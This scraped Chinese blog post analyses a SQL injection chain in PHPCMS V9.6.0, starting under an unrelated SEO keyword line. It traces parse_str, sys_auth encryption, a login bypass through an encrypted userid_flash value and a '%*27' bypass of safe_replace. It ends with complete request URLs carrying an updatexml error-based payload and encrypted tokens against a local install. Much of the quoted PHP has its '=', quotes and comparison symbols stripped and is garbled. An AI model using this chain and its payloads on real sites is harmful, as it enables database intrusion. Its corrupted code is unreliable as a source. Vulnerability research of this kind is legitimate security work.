乐山的网站建设公司,网站用后台更换图片,找别人做网站注意什么,智慧软文发稿平台目录
前言
环境准备
漏洞点
看一看parse_str函数
看一看sys_auth函数
看一看get_one函数
全局搜索sys_auth($a_k, ENCODE)
查看哪里调用了 set_cookie
查看safe_replace函数
判断登录绕过
index的业务
加载modules/wap/index.php
加载modules/attachment/attachme…目录
前言
环境准备
漏洞点
看一看parse_str函数
看一看sys_auth函数
看一看get_one函数
全局搜索sys_auth($a_k, ENCODE)
查看哪里调用了 set_cookie
查看safe_replace函数
判断登录绕过
index的业务
加载modules/wap/index.php
加载modules/attachment/attachments.php
加载modules\content\down.php 前言
本次分析phpcmsV9.6.0 的sql注入漏洞过程很曲折就像cc链一样要一步一步找到利用的链。 纯手动分析没有软件调试中间找类啊方法啊 都是按照代码流程写的流程分析的对自己也是一个挑战吧
环境准备
添加php的运行环境
PHPCMSV9.6.0 源码下载
链接https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwdcefh 提取码cefh
漏洞点
请看phpcms\modules\content\down.php 文件下down类中的一个函数方法
public function init() {$a_k trim($_GET[a_k]);if(!isset($a_k)) showmessage(L(illegal_parameters));$a_k sys_auth($a_k, DECODE, pc_base::load_config(system,auth_key));if(empty($a_k)) showmessage(L(illegal_parameters));unset($i,$m,$f);parse_str($a_k);if(isset($i)) $i $id intval($i);if(!isset($m)) showmessage(L(illegal_parameters));if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters));if(empty($f)) showmessage(L(url_invalid));$allow_visitor 1;$MODEL getcache(model,commons);$tablename $this-db-table_name $this-db-db_tablepre.$MODEL[$modelid][tablename];$this-db-table_name $tablename._data;$rs $this-db-get_one(array(id$id)); $siteids getcache(category_content,commons);$siteid $siteids[$catid];$CATEGORYS getcache(category_content_.$siteid,commons);...
get传参a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理后面sql的数据库处理这里是否存在sql注入呢
看一看parse_str函数
官方文档说明 看来这个函数可以根据传参kv 的形式创建变量 我们可以创建$id参数 试试sql注入因为下面的代码涉及数据库查询
看if(isset($i)) $i $id intval($i); 好像对$id做了处理不过没有用因为上面的代码有执行unset($i,$m,$f); 这意味者$i是无效的。 之后$id是一直没有做过滤处理直接到了sql查询那么这存在的sql注入可能性是非常的大的。
我们欲定制的id and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中这有可能返回用户信息。
不过在此之前我们要看一下加解密的这个函数sys_auth();
看一看sys_auth函数
/*** 字符串加密、解密函数*** param string $txt 字符串
* param string $operation ENCODE为加密DECODE为解密可选参数默认为ENCODE
* param string $key 密钥数字、字母、下划线
* param string $expiry 过期时间* return string*/function sys_auth($string, $operation ENCODE, $key , $expiry 0) {$ckey_length 4;$key md5($key ! ? $key : pc_base::load_config(system, auth_key));$keya md5(substr($key, 0, 16));$keyb md5(substr($key, 16, 16));$keyc $ckey_length ? ($operation DECODE ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ;$cryptkey $keya.md5($keya.$keyc);$key_length strlen($cryptkey);$string $operation DECODE ? base64_decode(strtr(substr($string, $ckey_length), -_, /)) : sprintf(%010d, $expiry ? $expiry time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length strlen($string);$result ;$box range(0, 255);$rndkey array();for($i 0; $i 255; $i) {$rndkey[$i] ord($cryptkey[$i % $key_length]);}for($j $i 0; $i 256; $i) {$j ($j $box[$i] $rndkey[$i]) % 256;$tmp $box[$i];$box[$i] $box[$j];$box[$j] $tmp;}for($a $j $i 0; $i $string_length; $i) {$a ($a 1) % 256;$j ($j $box[$a]) % 256;$tmp $box[$a];$box[$a] $box[$j];$box[$j] $tmp;$result . chr(ord($string[$i]) ^ ($box[($box[$a] $box[$j]) % 256]));}if($operation DECODE) {if((substr($result, 0, 10) 0 || substr($result, 0, 10) - time() 0) substr($result, 10, 16) substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return ;}} else {return $keyc.rtrim(strtr(base64_encode($result), /, -_), );}}
只看注解就大致明白了这个函数的基本逻辑传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。
而且当你第二个参数密钥没输的话后面的代码还是会赋给keypc_base::load_config(system, auth_key) ---------------$key md5($key ! ? $key : pc_base::load_config(system, auth_key));
看来pc_base::load_config(system,auth_key)这个就是密钥了。
找到pc_base这个类的load_config方法,找找看密钥在不在
/*** 加载配置文件* param string $file 配置文件* param string $key 要获取的配置荐* param string $default 默认配置。当获取配置项目失败时该值发生作用。* param boolean $reload 强制重新加载。*/public static function load_config($file, $key , $default , $reload false) {static $configs array();if (!$reload isset($configs[$file])) {if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}$path CACHE_PATH.configs.DIRECTORY_SEPARATOR.$file..php;if (file_exists($path)) {$configs[$file] include $path;}if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}
第一个if是进不去的因为$configs[$file] 是刚创建的新数组看它接下来又进行了什么操作 $path CACHE_PATH.configs.DIRECTORY_SEPARATOR.$file..php; if (file_exists($path)) { $configs[$file] include $path; } 这里给$configs[$file] 赋了值,分析一下。
写宏的定义都可以找到//缓存文件夹地址 define(CACHE_PATH, PC_PATH....DIRECTORY_SEPARATOR.caches.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define(PC_PATH, dirname(FILE).DIRECTORY_SEPARATOR);
根据传入的参数$filesystem 可以得到$path的目录 CACHE_PATHphpcms../caches./ $pathphpcms../caches./configs./system.php
在后面的代码逻辑中似乎取出了什么值$configs[$file][$key]; 。
打开这个文件一看 找auth_key的值 ok 这个密钥找到了
如果这个密钥每个安装cms的用户密钥都一样的那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。
全局搜索看看有没有调用sys_auth($a_k, ENCODE);函数 传入的字符串是否可控 若可控还能返回最好 我们把准备的get传参交由它加密最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。
为了确保sql注入的准确执行看一看get_one函数
看一看get_one函数 ...$MODEL getcache(model,commons);$tablename $this-db-table_name $this-db-db_tablepre.$MODEL[$modelid][tablename];$this-db-table_name $tablename._data;$rs $this-db-get_one(array(id$id)); ... 分析一下db是怎么来的,查看down的构造方法
class down {private $db;function __construct() {$this-db pc_base::load_model(content_model);}
跟进pc_base类下的load_model方法
/*** 加载数据模型* param string $classname 类名*/
public static function load_model($classname) {return self::_load_class($classname,model);
}
在跟进_load_class方法
/*** 加载类文件函数* param string $classname 类名* param string $path 扩展地址* param intger $initialize 是否初始化*/private static function _load_class($classname, $path , $initialize 1) {static $classes array();if (empty($path)) $path libs.DIRECTORY_SEPARATOR.classes;$key md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname..class.php)) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname..class.php;$name $classname;if ($my_path self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname..class.php)) {include $my_path;$name MY_.$classname;}if ($initialize) {$classes[$key] new $name;} else {$classes[$key] true;}return $classes[$key];} else {return false;}} 由传入的参数$classnamecontent_model $pathmodel PC_PATH.$path.DIRECTORY_SEPARATOR.$classname..class.php phpcms/model/content_model.class.php
这个文件是存在的所以会被包含进来
在content_model.class.php内content_model类中没有找到get_one方法不过它有父类model兴趣能找到get_one方法。
在父类中有get_one方法
*** 获取单条记录查询* param $where 查询条件* param $data 需要查询的字段值[例name,gender,birthday]* param $order 排序方式 [默认按数据库默认方式排序]* param $group 分组方式 [默认为空]* return array/null 数据查询结果集,如果不存在则返回空*/
final public function get_one($where , $data *, $order , $group ) {if (is_array($where)) $where $this-sqls($where);return $this-db-get_one($data, $this-table_name, $where, $order, $group);
}
上来就判断$where是数组吗是! 刚才我们传的是array(id$id)因此会执行$where $this-sqls($where);进入sqls方法
/*** 将数组转换为SQL语句* param array $where 要生成的数组* param string $font 连接串。*/
final public function sqls($where, $font AND ) {if (is_array($where)) {$sql ;foreach ($where as $key$val) {$sql . $sql ? $font $key $val : $key $val;}return $sql;} else {return $where;}
}
假设id1 那么经过foreach后 $sqlid1 假设id1 key2那么经过foreach后 $sqlid1 and key2
将$sql返回赋值给$where 续分析return $this-db-get_one($data, $this-table_name, $where, $order, $group);
这里貌似有了新的db去看一看db怎么来的, 找到model类的构造函数
class model {//数据库配置
protected $db_config ;
//数据库连接
protected $db ;
//调用数据库的配置项
protected $db_setting default;
//数据表名
protected $table_name ;
//表前缀
public $db_tablepre ;public function __construct() {if (!isset($this-db_config[$this-db_setting])) {$this-db_setting default;}$this-table_name $this-db_config[$this-db_setting][tablepre].$this-table_name;$this-db_tablepre $this-db_config[$this-db_setting][tablepre];$this-db db_factory::get_instance($this-db_config)-get_database($this-db_setting);
}
找到同级目录下的db_factory类 get_instance静态方法
/*** 返回当前终级类对象的实例* param $db_config 数据库配置* return object*/
public static function get_instance($db_config ) {if($db_config ) {$db_config pc_base::load_config(database);}if(db_factory::$db_factory ) {db_factory::$db_factory new db_factory();}if($db_config ! $db_config ! db_factory::$db_factory-db_config) db_factory::$db_factory-db_config array_merge($db_config, db_factory::$db_factory-db_config);return db_factory::$db_factory;
}
实例化db_factory类后面又调用了get_database方法
/*** 获取数据库操作实例* param $db_name 数据库配置名称*/public function get_database($db_name) {if(!isset($this-db_list[$db_name]) || !is_object($this-db_list[$db_name])) {$this-db_list[$db_name] $this-connect($db_name);}return $this-db_list[$db_name];}
进入connect方法 看看返回的return $this-db_list[$db_name];是什么
/*** 加载数据库驱动* param $db_name 数据库配置名称* return object*/
public function connect($db_name) {$object null;switch($this-db_config[$db_name][type]) {case mysql :pc_base::load_sys_class(mysql, , 0);$object new mysql();break;case mysqli :$object pc_base::load_sys_class(db_mysqli);break;case access :$object pc_base::load_sys_class(db_access);break;default :pc_base::load_sys_class(mysql, , 0);$object new mysql();}$object-open($this-db_config[$db_name]);return $object;
}
这里我们需要判断 $this-db_config[$db_name][type] 存的是什么字符串
connect的$db_name来自get_database的$db_name get_database的$db_name来自$this-db_setting db_setting default
找一下$db_config $db_config pc_base::load_config(database); 根据刚才找system的套路 我们也向caches\configs目录下找
?phpreturn array (default array (hostname localhost,port 3306,database phpcmsv9,username root,password ,tablepre v9_,charset utf8,type mysqli,debug true,pconnect 0,autoconnect 0),
);?
既然是default 后面又有type 那么最终返回的就是mysqli
现在可以判断的是刚才的switch语句会执行以下的代码 case mysqli :$object pc_base::load_sys_class(db_mysqli);break;
跟进去load_sys_class
/*** 加载系统类方法* param string $classname 类名* param string $path 扩展地址* param intger $initialize 是否初始化*/
public static function load_sys_class($classname, $path , $initialize 1) {return self::_load_class($classname, $path, $initialize);
} 在跟进去_load_class
/*** 加载类文件函数* param string $classname 类名* param string $path 扩展地址* param intger $initialize 是否初始化*/
private static function _load_class($classname, $path , $initialize 1) {static $classes array();if (empty($path)) $path libs.DIRECTORY_SEPARATOR.classes;$key md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname..class.php)) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname..class.php;$name $classname;if ($my_path self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname..class.php)) {include $my_path;$name MY_.$classname;}if ($initialize) {$classes[$key] new $name;} else {$classes[$key] true;}return $classes[$key];} else {return false;}
}
ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类
由此可见db存的是db_mysqli实例化类
db_mysqli有get_one的方法
/*** 获取单条记录查询* param $data 需要查询的字段值[例name,gender,birthday]* param $table 数据表* param $where 查询条件* param $order 排序方式 [默认按数据库默认方式排序]* param $group 分组方式 [默认为空]* return array/null 数据查询结果集,如果不存在则返回空*/
public function get_one($data, $table, $where , $order , $group ) {$where $where ? : WHERE .$where;$order $order ? : ORDER BY .$order;$group $group ? : GROUP BY .$group;$limit LIMIT 1;$field explode( ,, $data);array_walk($field, array($this, add_special_char));$data implode(,, $field);$sql SELECT .$data. FROM .$this-config[database]...$table..$where.$group.$order.$limit;$this-execute($sql);$res $this-fetch_next();$this-free_result();return $res;
}
所以这里的之前的get_one函数会跳转到上面的get_one函数 final public function get_one($where , $data *, $order , $group ) { if (is_array($where)) $where $this-sqls($where); return $this-db-get_one($data, $this-table_name, $where, $order, $group); $where $where ? : WHERE .$where; 将成为 WHERE id1 之类的 $order $order ? : ORDER BY .$order; $order为空 $group $group ? : GROUP BY .$group; $group为空 $data *经过$field explode( ,, $data); $field成为数组 .....
看sql语句的字符串
$sql SELECT .$data. FROM .$this-config[database]...$table..$where.$group.$order.$limit; 最终形成的形式为$sql SELECT .$data. FROM .$this-config[database]...$table. WHERE id1 LIMIT 1; 这样美誉经过任何过滤项 已经形成sql注入的必要条件了。
全局搜索sys_auth($a_k, ENCODE)
在phpcms\libs\classes\param.class.php文件中
/*** 设置 cookie* param string $var 变量名* param string $value 变量值* param int $time 过期时间*/public static function set_cookie($var, $value , $time 0) {$time $time 0 ? $time : ($value ? SYS_TIME - 3600 : 0);$s $_SERVER[SERVER_PORT] 443 ? 1 : 0;$var pc_base::load_config(system,cookie_pre).$var;$_COOKIE[$var] $value;if (is_array($value)) {foreach($value as $k$v) {setcookie($var.[.$k.], sys_auth($v, ENCODE), $time, pc_base::load_config(system,cookie_path), pc_base::load_config(system,cookie_domain), $s);}} else {setcookie($var, sys_auth($value, ENCODE), $time, pc_base::load_config(system,cookie_path), pc_base::load_config(system,cookie_domain), $s);}}
(cookie_pre tqdSZ_, //Cookie 前缀同一域名下安装多套系统时请修改Cookie前缀 )
$value参数可控的话就可以利用这里setcookie方法貌似是js中定义的,可以返回到前端
function setcookie(name, value, days) {name cookie_prename;var argc setcookie.arguments.length;var argv setcookie.arguments;var secure (argc 5) ? argv[5] : false;var expire new Date();if(daysnull || days0) days1;expire.setTime(expire.getTime() 3600000*24*days);document.cookie name escape(value) (; path cookie_path) ((cookie_domain ) ? : (; domain cookie_domain)) ((secure true) ? ; secure : ) ;expiresexpire.toGMTString();
}
查看哪里调用了 set_cookie
在phpcms/modules/attachment/attachments.php文件中 有一个方法
/*** 设置swfupload上传的json格式cookie*/public function swfupload_json() {$arr[aid] intval($_GET[aid]);$arr[src] safe_replace(trim($_GET[src]));$arr[filename] urlencode(safe_replace($_GET[filename]));$json_str json_encode($arr);$att_arr_exist param::get_cookie(att_json);$att_arr_exist_tmp explode(||, $att_arr_exist);if(is_array($att_arr_exist_tmp) in_array($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str $att_arr_exist ? $att_arr_exist.||.$json_str : $json_str;param::set_cookie(att_json,$json_str);return true; }}
查看接收字符串的src与filename参数中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie
查看safe_replace函数 /*** 安全过滤函数** param $string* return string*/
function safe_replace($string) {$string str_replace(%20,,$string);$string str_replace(%27,,$string);$string str_replace(%2527,,$string);$string str_replace(*,,$string);$string str_replace(,quot;,$string);$string str_replace(,,$string);$string str_replace(,,$string);$string str_replace(;,,$string);$string str_replace(,lt;,$string);$string str_replace(,gt;,$string);$string str_replace({,,$string);$string str_replace(},,$string);$string str_replace(\\,,$string);return $string;
}
这个函数的确过滤了不少特殊的字符但它是顺序执行了的啊
给出思路: 假如我们像传参%27 我们可以写成%*27 是不是可以绕过了。
判断登录绕过
要使用这个类还有有一个前提 看一看attachments类的初始化工作
class attachments {private $att_db;function __construct() {pc_base::load_app_func(global);$this-upload_url pc_base::load_config(system,upload_url);$this-upload_path pc_base::load_config(system,upload_path); $this-imgext array(jpg,gif,png,bmp,jpeg);$this-userid $_SESSION[userid] ? $_SESSION[userid] : (param::get_cookie(_userid) ? param::get_cookie(_userid) : sys_auth($_POST[userid_flash],DECODE));$this-isadmin $this-admin_username $_SESSION[roleid] ? 1 : 0;$this-groupid param::get_cookie(_groupid) ? param::get_cookie(_groupid) : 8;//判断是否登录if(empty($this-userid)){showmessage(L(please_login,,member));}}
必须让userid不为空分析前面的带代码得知post传入userid_flash参数即可
为了使userid加密 格式正确我们可以看下面的代码
phpcms/modules/wap/index.php
class index {function __construct() { $this-db pc_base::load_model(content_model);$this-siteid isset($_GET[siteid]) (intval($_GET[siteid]) 0) ? intval(trim($_GET[siteid])) : (param::get_cookie(siteid) ? param::get_cookie(siteid) : 1);param::set_cookie(siteid,$this-siteid); $this-wap_site getcache(wap_site,wap);$this-types getcache(wap_type,wap);$this-wap $this-wap_site[$this-siteid];define(WAP_SITEURL, $this-wap[domain] ? $this-wap[domain].index.php? : APP_PATH.index.php?mwapsiteid.$this-siteid);if($this-wap[status]!1) exit(L(wap_close_status));}
这里get接收siteid并且经过加密set_cookie里返回 我们可以拿到一个正常的加密的siteid值
一切都看似很美好那么我们如何传参呢
index的业务
看首页的index.php
?php
/*** index.php PHPCMS 入口** copyright (C) 2005-2010 PHPCMS* license http://www.phpcms.cn/license/* lastmodify 2010-6-1*///PHPCMS根目录define(PHPCMS_PATH, dirname(__FILE__).DIRECTORY_SEPARATOR);include PHPCMS_PATH./phpcms/base.php;pc_base::creat_app();?
跟进pc_base类中的creat_app方法
/*** 初始化应用程序*/
public static function creat_app() {return self::load_sys_class(application);
}
根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类
application类有构造函数
class application {
/*** 构造函数*/
public function __construct() {$param pc_base::load_sys_class(param);define(ROUTE_M, $param-route_m());define(ROUTE_C, $param-route_c());define(ROUTE_A, $param-route_a());$this-init();
}
这里定义了几根宏后面可能会用到看看route_m
/*** 获取模型*/
public function route_m() {$m isset($_GET[m]) !empty($_GET[m]) ? $_GET[m] : (isset($_POST[m]) !empty($_POST[m]) ? $_POST[m] : );$m $this-safe_deal($m);if (empty($m)) {return $this-route_config[m];} else {if(is_string($m)) return $m;}
}
route_c
/*** 获取控制器*/public function route_c() {$c isset($_GET[c]) !empty($_GET[c]) ? $_GET[c] : (isset($_POST[c]) !empty($_POST[c]) ? $_POST[c] : );$c $this-safe_deal($c);if (empty($c)) {return $this-route_config[c];} else {if(is_string($c)) return $c;}}
$param存的应该是param类
进入init函数
/*** 调用件事*/private function init() {$controller $this-load_controller();if (method_exists($controller, ROUTE_A)) {if (preg_match(/^[_]/i, ROUTE_A)) {exit(You are visiting the action is to protect the private action);} else {call_user_func(array($controller, ROUTE_A));}} else {exit(Action does not exist.);}}
进入load_controller
/*** 加载控制器* param string $filename* param string $m* return obj*/private function load_controller($filename , $m ) {if (empty($filename)) $filename ROUTE_C;if (empty($m)) $m ROUTE_M;$filepath PC_PATH.modules.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename..php;if (file_exists($filepath)) {$classname $filename;include $filepath;if ($mypath pc_base::my_path($filepath)) {$classname MY_.$filename;include $mypath;}if(class_exists($classname)){return new $classname;}else{exit(Controller does not exist.);}} else {exit(Controller does not exist.);}}
} 可以传参cccccmmmm $filepathphpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件 返回这个实例化类
call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
根据这个逻辑我们可以包含phpcms/modules/wap/index.php加载index类(__construct会自动执行)这样就可传参siteid了
加载modules/wap/index.php
试一下
http://localhost/PHPCMSV9.6.0/install_package/index.php?cindexmwapsiteid1 我们可以看到这里确实返回了cookie
加载modules/attachment/attachments.php
准备加载在phpcms/modules/attachment/attachments.php加载attachments类
http://localhost/PHPCMSV9.6.0/install_package/index.php?cattachmentsmattachment
我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
/*** 获取事件*/
public function route_a() {$a isset($_GET[a]) !empty($_GET[a]) ? $_GET[a] : (isset($_POST[a]) !empty($_POST[a]) ? $_POST[a] : );$a $this-safe_deal($a);if (empty($a)) {return $this-route_config[a];} else {if(is_string($a)) return $a;}
}
我们试试把get传入参数a
http://localhost/PHPCMSV9.6.0/install_package/index.php?cattachmentmattachmentaswfupload_json
注意这个请求应是post加上userid_flash 之前我们得到的可以绕过登录的加密密文 userid_flash6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF
如果这个请求可以执行swfupload_json函数 那就要考虑传参了,这也是我们愿意看到的向src传参。
不过此前我们还要考虑到如下的代码 if(isset($i)) $i $id intval($i); if(!isset($m)) showmessage(L(illegal_parameters)); if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters)); if(empty($f)) showmessage(L(url_invalid)); 由于以上代码参数限制我们 在传参的时候加把这些if绕过去于是我们payload设置如下 http://localhost/PHPCMSV9.6.0/install_package/index.php?cattachmentsmattachmentaswfupload_jsonsrcid%*27 and updatexml(1,concat(1,(user())),1)#m1modelid1catid1f1 此时有cookie的返回 将这段的cookie记录下来 afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61 加载modules\content\down.php
phpcms\modules\content\down.php 加载init函数 传入参数a_k http://localhost/PHPCMSV9.6.0/install_package/index.php?cdownmcontentainita_kafcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61 可以看到这里确实可以存在sql注入